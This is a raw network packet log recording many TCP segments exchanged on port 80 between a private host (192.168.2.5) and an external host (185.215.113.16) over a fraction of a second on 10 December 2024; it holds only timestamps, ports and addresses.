Dec 10, 2024 05:10:20.214057922 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.214996099 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.215063095 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.215090990 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.216028929 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.216089964 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.216156006 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.216202021 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.217080116 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.217194080 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.217236996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.218055010 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.219058990 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.355171919 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.355236053 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.355257034 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.355278015 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.355669975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.355717897 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.355879068 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.356734991 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.356789112 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.356837988 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.357755899 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.357793093 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.357856989 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.357899904 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.358822107 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.358923912 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.358952999 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.358993053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.359870911 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.359932899 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.359972954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.360009909 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.360910892 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.360972881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.361010075 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.361088991 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.361959934 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.362013102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.362051964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.362103939 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.363020897 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.363076925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.363107920 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.363185883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.364051104 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.364104986 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.364145994 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.364221096 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.365139961 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.365190983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.365225077 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.365294933 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.366143942 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.366255999 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.366309881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.367209911 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.367302895 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.367355108 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.368254900 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.368298054 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.368333101 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.368783951 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.369296074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.369412899 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.369460106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.370351076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.370400906 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.370465994 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.370510101 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.371419907 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.371470928 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.371530056 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.371579885 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.372442961 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.372493982 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.372529984 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.372574091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.373491049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.373544931 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.373610973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.373651981 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.374603987 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.374644041 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.374721050 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.374761105 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.375636101 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.375684977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.375771999 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.375818014 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.376718044 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.376760960 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.376849890 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.376892090 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.377733946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.377782106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.377835035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.377882004 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.378762960 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.378808022 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.378833055 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.378866911 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.379827023 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.379888058 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.379928112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.379968882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.380848885 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.380888939 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.380958080 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.381000042 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.381903887 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.381962061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.382009983 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.382061958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.382961035 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.383002996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.383047104 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.383090973 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.383996964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.384042025 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.384076118 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.384166956 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.385072947 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.385122061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.385193110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.385234118 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.386115074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.386187077 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.386223078 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.386260033 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.387181997 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.387227058 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.387264967 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.387301922 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.388289928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.388333082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.388371944 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.388418913 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.389256001 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.389306068 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.389388084 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.389435053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.390286922 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.390326977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.390403032 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.390440941 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.391427994 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.391464949 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.391547918 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.391583920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.392407894 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.392447948 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.392533064 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.392570019 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.393441916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.393481970 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.393503904 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.393543005 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.394541979 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.394584894 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.394673109 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.394710064 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.395596027 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.395642996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.395715952 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.395752907 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.396656990 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.396729946 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.396791935 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.396831989 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.397690058 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.397733927 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.397835016 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.397872925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.398737907 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.398772955 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.398849964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.398891926 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.399768114 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.399811983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.399882078 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.399935961 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.400779009 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.400832891 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.400943041 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.400986910 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.401865005 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.401916027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.401974916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.402015924 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.403145075 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.403196096 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.403295040 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.403327942 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.404093027 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.404134035 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.404261112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.404299974 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.405021906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.405071974 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.405147076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.405188084 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.406078100 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.406128883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.406168938 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.406213999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.407100916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.407151937 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.407206059 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.407243967 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.408164978 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.408214092 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.408277988 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.408318043 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.409212112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.409249067 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.409303904 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.409346104 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.410198927 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.410245895 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.547327042 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.547460079 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.547523022 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.547574997 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.547863007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.547913074 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.548003912 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.548048973 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.548897028 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.548944950 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.549006939 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.549055099 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.549962044 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.550009012 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.550045013 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.550087929 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.551013947 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.551064968 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.551095963 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.551140070 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.552071095 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.552148104 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.552181959 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.552279949 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.553096056 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.553172112 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.553210020 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.553276062 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.554137945 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.554214954 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.554249048 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.554342031 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.555192947 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.555267096 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.555351973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.555421114 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.556252956 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.556328058 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.556363106 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.556452990 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.557276964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.557344913 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.557387114 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.557497025 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.558321953 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.558407068 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.558445930 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.558511019 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.559401989 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.559474945 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.559526920 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.559607983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.560448885 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.560528040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.560566902 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.560651064 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.561491966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.561566114 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.561604977 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.561691999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.562545061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.562619925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.562654018 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.562740088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.563649893 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.563728094 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.563734055 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.563807011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.564656973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.564729929 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.564769030 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.564857006 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.565773964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.565848112 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.565882921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.565972090 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.566740990 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.566821098 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.566850901 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.566939116 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.567811966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.567903042 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.567910910 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.567991018 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.568876982 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.568953991 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.568977118 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.569030046 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.569876909 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.569952011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.569998026 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.570077896 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.570947886 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.571022987 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.571062088 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.571150064 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.571993113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.572067976 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.572102070 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.572238922 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.573048115 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.573126078 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.573136091 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.573206902 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.574079037 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.574153900 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.574187994 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.574279070 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.575143099 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.575217962 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.575253010 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.575356960 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.576201916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.576281071 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.576304913 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.576375008 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:20.577265024 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:20.577334881 CET	49855	80	192.168.2.5	185.215.113.16
